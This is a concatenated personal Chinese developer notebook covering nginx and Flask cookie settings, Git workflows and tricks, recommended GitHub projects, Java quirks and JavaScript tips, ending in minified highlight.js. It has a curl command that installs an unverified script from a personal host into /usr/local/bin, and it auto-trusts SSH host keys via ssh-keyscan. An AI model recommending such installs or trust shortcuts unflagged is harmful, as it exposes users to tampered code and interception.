uwsgi_send_timeout 120s; proxy_http_version 1.1; proxy_set_header Connection ""; proxy_pass_header "X-Accel-Buffering"; ``` ---- ## Flask跨域Cookie 当我们的网站能被跨域访问的时候,要注意cookie的设置,加上`SameSite=None; Secure` 参考: - https://stackoverflow.com/questions/56828663/how-to-explicitly-set-samesite-none-on-a-flask-response - https://github.com/pallets/werkzeug/issues/1549 - https://stackoverflow.com/questions/62992831/python-session-samesite-none-not-being-set ``` resp.set_cookie('cross-site-cookie', 'bar', samesite='None', secure=True) resp.headers.add('Set-Cookie','cross-site-cookie=bar; SameSite=None; Secure') ``` Flask的session cookie也要跨域的话: ``` from flask import session from flask.sessions import SecureCookieSessionInterface session_cookie = SecureCookieSessionInterface().get_signing_serializer(app) @app.after_request def cookies(response): same_cookie = session_cookie.dumps(dict(session)) response.headers.add("Set-Cookie", f"session={same_cookie}; Secure; HttpOnly; SameSite=None; Path=/;") return response ``` ================================================ FILE: Gemfile ================================================ source 'https://gems.ruby-china.org' gem 'github-pages', group: :jekyll_plugins ================================================ FILE: Git.md ================================================ # Git 参考 **沉浸式学 Git** http://igit.linuxtoy.org/ 参考 Learn Git Branching [learngitbranching.js.org](https://learngitbranching.js.org/?locale=zh_CN) ---- ## 立即使用 在网页上先创建了仓库,设置好.gitignore ```bash git clone github提供的地址(用ssh的) # 现在创建了你的仓库文件夹,将需要上传的文件放进去 cd 你的仓库名称 git add . git commit -a -m "这次改了些啥?" git push ``` 更多的配置: ``` # 默认git pull --rebase git config --global pull.rebase true ``` ---- ## 加速git clone 方法1:配置一个代理(如privoxy),并使用https地址 方法2:使用`--depth 1`参数表示不要复制历史 ``` export https_proxy="http://127.0.0.1:8118" git clone --depth 1 https://github.com/zjuchenyuan/notebook ``` ---- ## git push加速 代码参见[code/ssgit.txt](/code/ssgit.txt) ---- ## git push免密码 参照http://blog.csdn.net/chfe007/article/details/43388041 首先生成自己的ssh密钥,不要修改生成的文件位置 ssh-keygen -t rsa -b 4096 然后把`~/.ssh/id_rsa.pub`的内容设置到github中,[网页端操作](https://github.com/settings/keys);建议顺带启用两步验证 新手还告诉git自己是谁: git config --global user.email "你的邮箱" git config --global user.name "你的用户名" 如果当前仓库是https的,改为git方式: git remote set-url origin git@github.com:用户名/仓库名称.git ---- ## bash别名设置 通过修改~/.bashrc来设置别名,让git的日常使用更简单: ``` func_g(){ git add . git commit -a -m "$1" git push } alias g=func_g alias gs='git status ' alias ga='git add ' alias gb='git branch ' alias gc='git commit' alias gd='git diff' alias go='git checkout ' alias gp='git push' alias gl="git log --all --pretty=format:'%h %ad | %s%d [%an]' --graph --date=short" ``` ![gl的效果](https://raw.githubusercontent.com/zjuchenyuan/notebook/master/download/img/gl.jpg) 完成一次提交,现在只需要`g "提交信息"` 要立即生效,可以执行`source ~/.bashrc` ## 设置bash中的自动完成与dirty提示 此部分内容来自Udacity 如何使用 Git 和 GitHub 课程 下载需要的文件 ``` curl -O https://raw.githubusercontent.com/git/git/master/contrib/completion/git-completion.bash curl -O https://raw.githubusercontent.com/git/git/master/contrib/completion/git-prompt.sh ``` 在`~/.bashrc`末尾添加: ``` source ~/git-completion.bash green="\[\033[0;32m\]" blue="\[\033[0;34m\]" purple="\[\033[0;35m\]" reset="\[\033[0m\]" source ~/git-prompt.sh export GIT_PS1_SHOWDIRTYSTATE=1 export PS1="$purple\u$green\$(__git_ps1) \w\a $ $reset" ``` 效果如图,如果出现了未提交的修改,会自动显示出*表示dirty: ![setgit.jpg](download/img/setgit.jpg) ## 好玩的命令们 ### git status 查看状态咯~ ### git reset 已经`git add`了,想取消这一步就用`git reset` ### git checkout 啊。。。代码搞坏了我要回滚到上次commit,用`git checkout -- 文件名` ### git reset --soft 撤销到某次commit,但不删除新增文件 其中commit_id可以从`git log`获得 ### 恢复git reset --hard删除的文件 git的历史是不能用命令修改的,丢失的commit用reflog可以找回,除非git已经把它当成垃圾删除(30天) ``` git stash save git reflog # 查看丢失的那个commit的id git checkout 那个commitid git branch recover # 创建recover分支 git checkout master # 回到master git merge recover # 合并recover到master git branch -d recover # 合并完成后就可以删了 ``` ---- ## 你可能会问的一些问题 * 为啥要**git add**呢? 因为有些时候两个文件可能是不相关的修改,应该分别提交两次 > 通过分开暂存和提交,你能够更加容易地调优每一个提交。 * 为啥不改.profile而是改.bashrc呢 因为win10中只要有一个bash窗口没关掉,启动bash就不是登录,而是相当于再开了个`docker exec -i -t bashonwin10 /bin/bash` 此时是不会执行登录脚本.profile的,但是.bashrc还是会执行的 ---- ## Git各种情景 Learned from [githug](https://github.com/Gazler/githug) ### 忽略*.a文件但不想忽略lib.a 文档查看:`git gitignore --help` !表示负向选择,在.gitignore中添加: ``` *.a !lib.a ``` ### commit补上忘掉的文件 如果发现上次commit漏了文件,不应该新加commit而是应该用amend,否则可能上CI就挂 ``` git add forgotten.txt git commit --amend ``` ### 查出此行代码的最后修改者 github提供的blame功能更好看,显示每行代码的作者和来源于哪次commit ``` git blame filename ``` ### 文件一次性改太多了,拆成多次commit 让每次commit保持在比较小的改动,不要在一个commit中出现两个不那么相关的修改 本知识学习自:[10 个迅速提升你 Git 水平的提示](http://www.oschina.net/translate/10-tips-git-next-level) 方法是在add的时候给出参数-p 然后git会在每一个修改的block询问是否加入这次的commit,回答y表示加入,n表示不加入,s表示进一步拆分这个block 完成好选择后,使用`git diff --staged`命令来查询暂存的修改,没有问题就可以继续`git commit`啦 ### 本地忽略一些个人的修改 原文: http://stackoverflow.com/questions/1753070/git-ignore-files-only-locally 有时候我们不想让git追踪一些个人相关的文件,例如config中修改Debug=True,此时如果去修改.gitignore造成的影响是全局的,并且需要从git中删除这个文件;手动避开add config很烦,有没有更好的方法,让git忽略掉config文件的修改呢? 方法是修改`.git/info/exclude`文件,这个文件的语法规则与.gitignore一样 如果已经造成了修改,还需要执行以下命令: ``` git update-index --assume-unchanged [...] ``` ### 本地创建branch后push操作git push -u From: http://stackoverflow.com/questions/2765421/how-do-i-push-a-new-local-branch-to-a-remote-git-repository-and-track-it-too 执行了一些修改引入新功能,但还不能工作,决定建立一个dev分支: ``` git checkout -b dev ``` 现在再执行`git add`,`git commit`后,需要把新的分支push给远程服务器: ``` git push -u origin dev ``` ---- ## 用gpg给git提交签名 参考:https://help.github.com/articles/signing-commits-with-gpg/ 下述以ubuntu16.04(其实是bash on win10)讲解整个过程 ### 安装gpg2 查看gpg版本:`gpg --version`发现版本是`gpg (GnuPG) 1.4.20`,而教程要求要2以上,所以先要安装gpg2,并告诉git我们要使用gpg2: ``` apt install -y gpg2 git config --global gpg.program gpg2 ``` ### 创建一个新的key 这里github给出的命令有问题,google发现参数改了 ``` gpg2 --full-gen-key ``` 回车选择RSA and RSA,然后输入密钥大小输入4096,然后回车永不过期,确认y,然后输入自己的名字和邮箱 注意这里邮箱要和git commit用到的邮箱一致 ### 导出key的公钥 在github设置中提交 ``` gpg2 --list-secret-keys --keyid-format LONG ``` 如下输出中,我们需要的是3AA5C34371567BD2这一串 就是sec那一行的4096R/后面的东西 ``` $ gpg2 --list-secret-keys --keyid-format LONG /Users/hubot/.gnupg/secring.gpg ------------------------------------ sec 4096R/3AA5C34371567BD2 2016-03-10 [expires: 2017-03-10] uid Hubot ssb 4096R/42B317FD4BA89E7A 2016-03-10 ``` 然后得到公钥: ``` gpg2 --armor --export 3AA5C34371567BD2 ``` 复制屏幕上输出的一大串,打开下面的网页 粘贴提交 https://github.com/settings/gpg/new ### 配置git使用gpg签名 告诉git默认使用这个key: ``` git config --global user.signingkey 3AA5C34371567BD2 git config --global commit.gpgsign true ``` 执行 建议将这一行写入~/.bashrc: ``` export GPG_TTY=$(tty) ``` 然后就是正常的git add .,git commit -m "message"咯 gpg-agent会在后台运行,默认10分钟内不需要再次输入密码 ### 修改gpg要求再次输入密码的时间限制 10分钟的默认限制还是太短了,对于安全性要求不高的情景(比如自己的开源代码push到github),不妨设置为密码一直有效,直到gpg-agent重启 下面的设置将限制改到1年,当然gpg-agent重启还是要再次输入密码的: ``` vi ~/.gnupg/gpg-agent.conf default-cache-ttl 34560000 max-cache-ttl 34560000 ``` ## 使用GitLab API存储数据备份文件 不占用本地空间 这里的需求是定时任务生成snapshot文件,打算传至免费存储作为备份,不想占用服务器硬盘去存储这个文件,也不想花钱买存储服务 于是想到免费的gitlab.com的私有仓库,仓库数量无限,[每个repo可以存10GB](https://about.gitlab.com/2015/04/08/gitlab-dot-com-storage-limit-raised-to-10gb-per-repo/) 使用API来提交可以避免占用本地空间 其实本来打算用github的,但是github今天(20181022)挂了,于是就gitlab吧 找到这个python sdk: https://python-gitlab.readthedocs.io/ 写点代码咯:上传当前目录的to_upload.jpg到uploaded.jpg,记得相应修改你的访问令牌和项目ID ``` TOKEN = '...' # personal access token, https://gitlab.com/profile/personal_access_tokens REPO_ID = 123456 # after create project, you can see project ID in your repo homepage message = 'test commit' target_filename = 'uploaded.jpg' src_filename = 'to_upload.jpg' import gitlab import base64 gl=gitlab.Gitlab('https://gitlab.com',private_token=TOKEN) gl.auth() p=gl.projects.get(REPO_ID) filecontent = open(src_filename, 'rb').read() data={ 'branch_name':'master', 'branch':'master', 'commit_message':message, 'actions':[{'action':'create','file_path':target_filename, 'content':base64.b64encode(filecontent).decode(), 'encoding': 'base64'}] } c=p.commits.create(data) print(c) ``` ---- ## 在git服务器无法连接时点对点git pull 情景:客户端A和B使用gitlab服务器S,然后某天S无法连上了,但A和B之间可以直接通讯。B上开发了新代码,想让A获取到这个更新,如何最方便简单地在A上同步B上的代码更新呢? 解决方案:用python开个简单的http服务器然后添加http的remote进行pull,注意先要让git解压pack文件 ``` git update-server-info python3 -m http.server 6666 git remote add tmp http://ip-b:6666/.git/ git pull tmp master ``` 问题来了:如果A访问不了B怎么办呢?通过`git format-patch HEAD~2..HEAD --stdout>patchfile`生成patch文件再发过去`git am patchfile`,但这样可能会改变commit id ----- ## git禁用压缩 如二进制的仓库不想使用压缩,参考: https://stackoverflow.com/questions/11483288/how-to-disable-compression-in-git-server-side ``` git config --add core.bigFileThreshold 1 ``` ------ ## GitHub不同仓库使用不同ssh key: ghclone GitHub要求不同仓库的deploy key不同,但ssh config只能为一个Host设置相同的key 从[这里](https://gist.github.com/gubatron/d96594d982c5043be6d4)发现了一个trick:`*.github.com`都是可以正常解析到github的,这样就得到了无数个Host 快速使用: ``` curl https://d.py3.io/ghclone > /usr/local/bin/ghclone chmod +x /usr/local/bin/ghclone ghclone user/repo ``` 会为这个repo创建一个ssh key放在`~/.ssh`目录下,同时修改`~/.ssh/config`,然后显示出公钥,需要手动添加到github,最后回车就会开始git clone Done. 如果是一个已经存在的仓库,最后一步不用回车Ctrl+C后: ``` git remote set-url origin git@{repo}.github.com:{user}/{repo}.git ``` ## 启动一个临时的Git服务器 本地之间同步 场景: GitLab服务器宕机了,现在需要同步自己本地的修改到服务器上 参考: https://datagrok.org/git/git-serve/ ``` # 自己机器上(有更多commit的) git config --global alias.quickserve "daemon --verbose --export-all --base-path=.git --reuseaddr --strict-paths .git/" git quickserve # 服务器上(需要pull得到commit的) git remote add temp git://192.168.1.123/ git pull temp master ``` 同步完成后就可以Ctrl+C关闭git服务了 !!! note git末尾的/不可缺省,不然报错fatal: No path specified. See 'man git-pull' for valid url syntax git pull的分支名称master也不能省略 ---- ## 备份GitHub上自己star过的仓库 自从GitHub被微软收购后,似乎就崩得更频繁了,为了在这种情况下仍然能读代码,不妨跑一下定时脚本,自动pull指定仓库push到其他git服务上(如自行部署gitea)。 获取自己star过的所有仓库:(依赖`apt install -y jq`) ```bash for i in `seq 28`; do curl "https://api.github.com/users/zjuchenyuan/starred?page=${i}" >${i}.tmp; done cat *.tmp |jq '.[].full_name' -r > mystars.txt ``` sync.sh: 从github clone或fetch对应的仓库,然后push到自己的git服务上,这里使用bare避免checkout导致的更多空间占用 TODO: 注意到仍然是双份的空间占用(同步和gitea都存了),需要看看能不能直接从gitea的git存储发起fetch更新 ```bash #!/bin/bash u=`echo ${1}|cut -d/ -f1` n=`echo ${1}|cut -d/ -f2` if [ -z "$u" ] || [ -z "$n" ]; then echo Usage: $0 user/reponame exit 1 fi if [ -d "${u}_${n}" ]; then cd "${u}_${n}" git fetch --all git push --all sync else git clone https://github.com/${u}/${n} "${u}_${n}" --bare cd "${u}_${n}" git fetch --all git remote add sync git@你的git服务地址:你的用户名/${u}_${n}.git git push --all sync fi cd .. ``` ## git clone和push避免输入ssh询问的yes ``` mkdir -p ~/.ssh ssh-keyscan 你的git服务地址 >> ~/.ssh/known_host ``` !!! note 这个方案并不安全,容易遭受中间人攻击,你应该事先在安全的网络下获取正确的ssh key后直接将指纹写入known_host。 不过就算不自动化你也会自己回答yes,本质上一样hhh ## 部署gitea https://hub.docker.com/r/gitea/gitea 按照官方给出的docker-compose部署即可,安装时需要留心:smtp的host需要包含端口,登录用户名是完整的邮箱 然后需要修改配置,允许用户在push一个不存在的仓库时自动创建,参见[这个issue](https://github.com/go-gitea/gitea/issues/8162) 和 [conf配置文档](https://docs.gitea.io/en-us/config-cheat-sheet/) 需要在app.ini的`[repository]`一节中加入: ``` ENABLE_PUSH_CREATE_USER = true ENABLE_PUSH_CREATE_ORG = true ``` !!! warning "小心git bomb" 实际测试发现 对[git bomb](https://github.com/Katee/git-bomb)这种仓库 checkout就会占满全部内存 即使使用上述脚本只同步bare仓库,gitea会启动git show命令,仍然会炸内存(但似乎kill掉这个命令后网页显示也是正常的) ---- ## Git查询特定commit时间 https://stackoverflow.com/questions/3814926/git-commit-date 获取时间戳:`git show -s --format=%ct COMMIT_ID` ---- ## GitHub查询所有releases https://docs.github.com/en/rest/reference/repos#releases https://api.github.com/repos/octocat/hello-world/releases?per_page=100&page=1 ---- ## git diff显示修改后行号 参考: [https://stackoverflow.com/questions/8259851/using-git-diff-how-can-i-get-added-and-modified-lines-numbers](https://stackoverflow.com/questions/8259851/using-git-diff-how-can-i-get-added-and-modified-lines-numbers) ``` diff-lines() { local path= local line= while read; do esc=$'\033' if [[ $REPLY =~ ---\ (a/)?.* ]]; then continue elif [[ $REPLY =~ \+\+\+\ (b/)?([^[:blank:]$esc]+).* ]]; then path=${BASH_REMATCH[2]} elif [[ $REPLY =~ @@\ -[0-9]+(,[0-9]+)?\ \+([0-9]+)(,[0-9]+)?\ @@.* ]]; then line=${BASH_REMATCH[2]} elif [[ $REPLY =~ ^($esc\[[0-9;]+m)*([\ +-]) ]]; then echo "$path:$line:$REPLY" if [[ ${BASH_REMATCH[2]} != - ]]; then ((line++)) fi fi done } ``` 用法:`git diff commit^ commit -U0|diff-lines` ---- ## git导出tag与commit关系 有些时候需要将commit翻译成对应的tag,可以先这样导出再查询: ``` git tag|while read i; do echo ${i} `git log -1 --format='%H' ${i}`; done > tags.txt ``` 虽然git tag也有`--format`参数,但没找到可以显示tag对应commit的方法,那就还是老老实实git log呗 ================================================ FILE: GithubProjectRecommendation.md ================================================ ## you-get https://github.com/soimort/you-get pip安装后直接下载b站超清视频 本想自己用PhantomJS写bilibili的下载的,没想到人家拿到了签名的私钥,直接免浏览器实现了666 ---- ## Anki https://github.com/dae/anki Anki是一个辅助记忆软件,它可以在相对合适的时间来告诉你复习什么比较好。 Learn More: https://zhuanlan.zhihu.com/p/21338255?refer=-anki https://zhuanlan.zhihu.com/-anki ---- ## OnlineJudge https://github.com/QingdaoU/OnlineJudge 青岛大学的OnlineJudge,人家的毕业设计呢,界面好看,基于Docker,C和Java的沙箱设计挺完善的 https://github.com/QingdaoU/OnlineJudge/wiki/%E6%AD%A3%E5%BC%8F%E9%83%A8%E7%BD%B2%E6%96%87%E6%A1%A3 这是安装文档,需要安装Docker和docker-compose,注意其中python tools/release_static.py这一步是必须执行的 安装后的默认版本是不支持Python作为提交语言的,需要进行如下操作: ``` # 首先关掉容器 docker-compose stop # 在master分支把那个分支merge过来 git merge origin/python-support python tools/release_static.py # 然后启动容器,注意要-d否则会占据前台 docker-compose up -d ``` ----- ## sympy https://github.com/sympy/sympy http://docs.sympy.org/latest/tutorial/solvers.html Python也能用来解方程!求极限!求积分! ----- ## shellcheck 检查自己写的shell脚本有没有问题 https://github.com/koalaman/shellcheck https://www.shellcheck.net/ ----- ## InstantClick https://github.com/dieulot/instantclick 在鼠标悬停时即刻开始加载网页,显著提高网页加载速度,非常适合静态blog类型网页使用 ---- ## explainshell https://github.com/idank/explainshell 查询shell命令各个参数的含义 ---- ## Python Learn Notes https://github.com/AnyISalIn/Python_Learn_Notes 一些不错的Python笔记 ---- ## websocketd https://github.com/joewalnes/websocketd/ 把linux程序的输出输出重定向到websocket,就可以实现网页上实时显示程序执行动态,官网:[http://websocketd.com/](http://websocketd.com/) ================================================ FILE: Java.md ================================================ ## Java的神奇(keng) 记录一下Java与C的不同点,感受Thinking in Java ### 变量名称 $就是个普通字符,可以int $a; //php表示mdzz ### main函数 必须是public static void main(String[] args) 如果没有static,编译能通过但没有执行结果?// 待考证,eclipse拒绝运行 ### if if中的东西必须是boolean类型的值,不能把int放入if中 if ( a = true )的坑还是存在的,允许赋值作为if条件 ### %取余的结果 要考虑到负数的结果啊~(和C一致) ### 数组声明引用、初始化之后才能用 不允许int a[5]; 只能int[] a = new int [5]; 如果要初始化 int[] b = new int[]{1,2}; 可以简化为 int c[] = {1,2}; 但不能出现d={1,2}; 不允许大括号这玩意用来赋值,只准用于初始化 ### switch boolean是不行的;String是可以的! case是不能重复的(和C一致) ### == 一定是比较地址,如果"haha"在代码中出现两次,他们的地址是一样的 ### 类型自动提升 int long float double 最高出现哪个全部提升为哪个,都没有就全部提升为int 所以要这么写才能把byte*2:byte b = (byte)(a*2); ### 内部类 加上static后:可以不用实例化外部类就创建对象,不能访问外部类非静态的数据 不加static:需要先实例化外部类new OuterClass().new InnerClass() ### 数组的new不创建对象 对象数组的new是不会创建对象的 例如 `A[] a=new A[5];` 并不会创建5个A类型的对象,只是5个空引用 ## 异常处理中的资源释放问题 From: http://stackoverflow.com/questions/8080649/do-i-have-to-close-fileoutputstream-which-is-wrapped-by-printstream 在Java7中引入了ARM(自动资源管理),并不需要手动释放资源 以下这种把变量声明放到try后的括号里面,不对资源手动释放的写法是可以的,没有任何错误 ``` public static void main(String args[]) throws IOException { try (PrintStream ps = new PrintStream(new FileOutputStream("myfile.txt"))) { ps.println("This data is written to a file:"); System.out.println("Write successfully"); } catch (IOException e) { System.err.println("Error in writing to file"); throw e; } } ``` 普通的try-catch是不够的,需要在finally中释放资源: ``` public static void main(String args[]) throws IOException { PrintStream ps = null; try { ps = new PrintStream(new FileOutputStream("myfile.txt")); ps.println("This data is written to a file:"); System.out.println("Write successfully"); } catch (IOException e) { System.err.println("Error in writing to file"); throw e; } finally { if (ps != null) ps.close(); } } ``` ---- ## JVM启动时的内存参数 From: http://blog.chinaunix.net/uid-26863299-id-3559878.html 常见参数种类:配置堆区的(-Xms 、-Xmx、-XX:newSize、-XX:MaxnewSize、-Xmn)、配置非堆区(-XX:PermSize、-XX:MaxPermSize)。 堆区的: 1、-Xms :表示java虚拟机堆区内存初始内存分配的大小 2、-Xmx: 表示java虚拟机堆区内存可被分配的最大上限,通常会将 -Xms 与 -Xmx两个参数的配置相同的值,其目的是为了能够在java垃圾回收机制清理完堆区后不需要重新分隔计算堆区的大小而浪费资源。 3、-XX:newSize:表示新生代初始内存的大小,应该小于 -Xms的值; 4、-XX:MaxnewSize:表示新生代可被分配的内存的最大上限;当然这个值应该小于 -Xmx的值; 5、-Xmn:对 -XX:newSize、-XX:MaxnewSize两个参数的同时配置 非堆区的: 1、-XX:PermSize:表示非堆区初始内存分配大小,名字来源于permanent size 2、-XX:MaxPermSize:表示对非堆区分配的内存的最大上限。 最大堆内存与最大非堆内存的和不能够超出操作系统的可用内存。 ================================================ FILE: JavaScript.md ================================================ ## 使用localStorage Cookie存数据影响访问速度(每次请求都需要带上Cookie),使用localStorage存储有更大容量,还不易丢失 建议将用户的大段输入随时存储到localStorage中 高级应用可以是把js等代码文件这样缓存到本地,安全性讨论见[https://imququ.com/post/enhance-security-for-ls-code.html](https://imququ.com/post/enhance-security-for-ls-code.html) ``` //写入 var storage=window.localStorage; storage["a"]=1; //清空 window.localStorage.clear(); ``` ---- ## 使用phantomjs爬取网页 有些时候我们用Python的requests并不能很完美地渲染好网页,例如人家用酷炫的js作图了,我就想得到这张图,这时候用phantomjs就好啦 爬取目标: [http://oncokb.org/#/gene/AKT1](http://oncokb.org/#/gene/AKT1) 这个网页的右边有一张Tumor Types with AKT1 Mutations的图 代码: [code/spider.oncokb.js](code/spider.oncokb.js) 代码的细节: 1. 打开页面之前为了截图方便需要先设置浏览器的大小,这里设置为了1920*1080 2. 不要一打开页面就截图,而是等到页面加载好了最后一个请求(从Chrome开发人员工具查看最后的请求是啥)后,再等待5s后执行截图、导出HTML并退出 3. 为了防止无限等待,设置最长2min后timeout退出 4. 为了方便批量化处理,从命令行参数读取需要爬取的基因名称 5. 在运行的时候有设置代理和不要载入图片的参数,具体见[官方文档](http://phantomjs.org/api/command-line.html) ---- ## jQuery劫持show事件 我的需求:用户登录的div需要点击Login后显示(toggle),此时浏览器已经自动帮用户填上了用户名和密码,用户需要手动点击登录按钮才会触发登录请求;现在我想加入快速登录功能,在显示登录div后自动提交登录请求,如果为空或密码错误再交给用户输入 我的解决方案:加入下述扩展jQuery的代码后,对#login绑定beforeShow事件,处理函数先根据全局变量是否存在来判断是否执行过(防止死循环),如果没有执行过则执行登录函数clicklogin并设置全局变量 效果:如果浏览器自动填入了正确的用户名密码,则用户点击Login后快速闪过登录输入框即完成登录;如果浏览器没有自动填入用户名密码,clicklogin函数直接return,用户没有感知;如果浏览器填入的密码是错的,用户会看到密码错误提示,1s后再次toggle登录的div要求用户输入 From: http://stackoverflow.com/questions/1225102/jquery-event-to-trigger-action-when-a-div-is-made-visible 引入jQuery后,修改jQuery自身的show函数以扩展bind: ``` jQuery(function($) { var _oldShow = $.fn.show; $.fn.show = function(speed, oldCallback) { return $(this).each(function() { var obj = $(this), newCallback = function() { if ($.isFunction(oldCallback)) { oldCallback.apply(obj); } obj.trigger('afterShow'); }; // you can trigger a before show if you want obj.trigger('beforeShow'); // now use the old function to show the element passing the new callback _oldShow.apply(obj, [speed, newCallback]); }); } }); ``` 然后就可以使用bind注册`beforeShow`,`afterShow`咯: ``` jQuery(function($) { $('#test') .bind('beforeShow', function() { alert('beforeShow'); }) .bind('afterShow', function() { alert('afterShow'); }) .show(1000, function() { alert('in show callback'); }) .show(); }); ``` ---- ## 读取GET参数 有些时候对GET参数的处理交给了前端,后端的PHP可以$_GET["parameter"],前端JS咋办呢? From: http://stackoverflow.com/questions/979975/how-to-get-the-value-from-the-get-parameters ``` var QueryString = function () { // This function is anonymous, is executed immediately and // the return value is assigned to QueryString! var query_string = {}; var query = window.location.search.substring(1); var vars = query.split("&"); for (var i=0;i setTimeout( function(){ var oldurl = location.href; history.replaceState(null, null, '/t/{{topic["id"]}}#reply{{topic["replyCount"]}}'); history.replaceState(null, null, oldurl); }, 1000); ``` ---- ## 记住一个checkbox的状态(用localStorage) 查询是否勾选用`.is(":checked")` , 改变勾选状态用`.prop("checked",true)` ``` ``` ---- ## NodeJS ### 用Docker执行npm 例如安装canvas和gifencoder包: ``` PACKAGES="canvas gifencoder" docker run --rm --volume="`pwd`:/app" -w /app -it node:10 npm install ${PACKAGES} --registry=https://registry.npm.taobao.org ``` ---- ## 使用InstantClick踩坑 ### 快速使用 http://instantclick.io/v3.1.0/instantclick.min.js 一定要在页面底部 ``之前才能引入: ``` ``` ### 被预加载的页面不能让后端返回302 否则会显示跳转之前的URL 这种情况下可以对这个链接禁止预加载(不过更应该考虑这种链接改为post请求) 在a标签加上`data-no-instant` ### 注意默认配置下后端将被频繁请求 频率限制需要放宽 [官网](http://instantclick.io/download)给出的代码使用`InstantClick.init()`,意味着鼠标移动上去就会触发加载(不是只触发一次),鼠标反复移动会导致大量的请求 如果后端做了请求频率限制 需要放宽限制 还是改为用`mousedown`来初始化 只有用户确实点击了才开始加载 据说也能有很好的效果 ### InstantClick引入一些副作用 对页面js要进行修改 #### js无法取得正确的referrer 页面加载的请求是js执行的 document.referrer不会被设置为上一页 #### document.addEventListener 重复触发 例如绑定paste事件 你可能这么写: ``` document.addEventListener('paste', handlepaste); ``` 在切换页面后 这个事件会多次绑定 导致多次触发 我的做法是先判断一个变量是否存在 不存在才设置: ``` if(typeof paste_registered == "undefined"){ document.addEventListener('paste', handlepaste); paste_registered = true; } ``` 你也可以把这一部分**不能重复执行**的代码放入`",rE:!0,sL:["actionscript","javascript","handlebars","xml"]}},{cN:"meta",v:[{b:/<\?xml/,e:/\?>/,r:10},{b:/<\?\w+/,e:/\?>/}]},{cN:"tag",b:"",c:[{cN:"name",b:/[^\/><\s]+/,r:0},r]}]}}),e.registerLanguage("markdown",function(e){return{aliases:["md","mkdown","mkd"],c:[{cN:"section",v:[{b:"^#{1,6}",e:"$"},{b:"^.+?\\n[=-]{2,}$"}]},{b:"<",e:">",sL:"xml",r:0},{cN:"bullet",b:"^([*+-]|(\\d+\\.))\\s+"},{cN:"strong",b:"[*_]{2}.+?[*_]{2}"},{cN:"emphasis",v:[{b:"\\*.+?\\*"},{b:"_.+?_",r:0}]},{cN:"quote",b:"^>\\s+",e:"$"},{cN:"code",v:[{b:"^```w*s*$",e:"^```s*$"},{b:"`.+?`"},{b:"^( {4}| )",e:"$",r:0}]},{b:"^[-\\*]{3,}",e:"$"},{b:"\\[.+?\\][\\(\\[].*?[\\)\\]]",rB:!0,c:[{cN:"string",b:"\\[",e:"\\]",eB:!0,rE:!0,r:0},{cN:"link",b:"\\]\\(",e:"\\)",eB:!0,eE:!0},{cN:"symbol",b:"\\]\\[",e:"\\]",eB:!0,eE:!0}],r:10},{b:/^\[[^\n]+\]:/,rB:!0,c:[{cN:"symbol",b:/\[/,e:/\]/,eB:!0,eE:!0},{cN:"link",b:/:\s*/,e:/$/,eB:!0}]}]}}),e.registerLanguage("nginx",function(e){var t={cN:"variable",v:[{b:/\$\d+/},{b:/\$\{/,e:/}/},{b:"[\\$\\@]"+e.UIR}]},r={eW:!0,l:"[a-z/_]+",k:{literal:"on off yes no true false none blocked debug info notice warn error crit select break last permanent redirect kqueue rtsig epoll poll /dev/poll"},r:0,i:"=>",c:[e.HCM,{cN:"string",c:[e.BE,t],v:[{b:/"/,e:/"/},{b:/'/,e:/'/}]},{b:"([a-z]+):/",e:"\\s",eW:!0,eE:!0,c:[t]},{cN:"regexp",c:[e.BE,t],v:[{b:"\\s\\^",e:"\\s|{|;",rE:!0},{b:"~\\*?\\s+",e:"\\s|{|;",rE:!0},{b:"\\*(\\.[a-z\\-]+)+"},{b:"([a-z\\-]+\\.)+\\*"}]},{cN:"number",b:"\\b\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}(:\\d{1,5})?\\b"},{cN:"number",b:"\\b\\d+[kKmMgGdshdwy]*\\b",r:0},t]};return{aliases:["nginxconf"],c:[e.HCM,{b:e.UIR+"\\s+{",rB:!0,e:"{",c:[{cN:"section",b:e.UIR}],r:0},{b:e.UIR+"\\s",e:";|{",rB:!0,c:[{cN:"attribute",b:e.UIR,starts:r}],r:0}],i:"[^\\s\\}]"}}),e.registerLanguage("objectivec",function(e){var t={cN:"built_in",b:"\\b(AV|CA|CF|CG|CI|CL|CM|CN|CT|MK|MP|MTK|MTL|NS|SCN|SK|UI|WK|XC)\\w+"},r={keyword:"int float while char export sizeof typedef const struct for union unsigned long volatile static bool mutable if do return goto void enum else break extern asm case short default double register explicit signed typename this switch continue wchar_t inline readonly assign readwrite self @synchronized id typeof nonatomic super unichar IBOutlet IBAction strong weak copy in out inout bycopy byref oneway __strong __weak __block __autoreleasing @private @protected @public @try @property @end @throw @catch @finally @autoreleasepool @synthesize @dynamic @selector @optional @required @encode @package @import @defs @compatibility_alias __bridge __bridge_transfer __bridge_retained __bridge_retain __covariant __contravariant __kindof _Nonnull _Nullable _Null_unspecified __FUNCTION__ __PRETTY_FUNCTION__ __attribute__ getter setter retain unsafe_unretained nonnull nullable null_unspecified null_resettable class instancetype NS_DESIGNATED_INITIALIZER NS_UNAVAILABLE NS_REQUIRES_SUPER NS_RETURNS_INNER_POINTER NS_INLINE NS_AVAILABLE NS_DEPRECATED NS_ENUM NS_OPTIONS NS_SWIFT_UNAVAILABLE NS_ASSUME_NONNULL_BEGIN NS_ASSUME_NONNULL_END NS_REFINED_FOR_SWIFT NS_SWIFT_NAME NS_SWIFT_NOTHROW NS_DURING NS_HANDLER NS_ENDHANDLER NS_VALUERETURN NS_VOIDRETURN",literal:"false true FALSE TRUE nil YES NO NULL",built_in:"BOOL dispatch_once_t dispatch_queue_t dispatch_sync dispatch_async dispatch_once"},a=/[a-zA-Z@][a-zA-Z0-9_]*/,n="@interface @class @protocol @implementation";return{aliases:["mm","objc","obj-c"],k:r,l:a,i:""}]}]},{cN:"class",b:"("+n.split(" ").join("|")+")\\b",e:"({|$)",eE:!0,k:n,l:a,c:[e.UTM]},{b:"\\."+e.UIR,r:0}]}}),e.registerLanguage("perl",function(e){var t="getpwent getservent quotemeta msgrcv scalar kill dbmclose undef lc ma syswrite tr send umask sysopen shmwrite vec qx utime local oct semctl localtime readpipe do return format read sprintf dbmopen pop getpgrp not getpwnam rewinddir qqfileno qw endprotoent wait sethostent bless s|0 opendir continue each sleep endgrent shutdown dump chomp connect getsockname die socketpair close flock exists index shmgetsub for endpwent redo lstat msgctl setpgrp abs exit select print ref gethostbyaddr unshift fcntl syscall goto getnetbyaddr join gmtime symlink semget splice x|0 getpeername recv log setsockopt cos last reverse gethostbyname getgrnam study formline endhostent times chop length gethostent getnetent pack getprotoent getservbyname rand mkdir pos chmod y|0 substr endnetent printf next open msgsnd readdir use 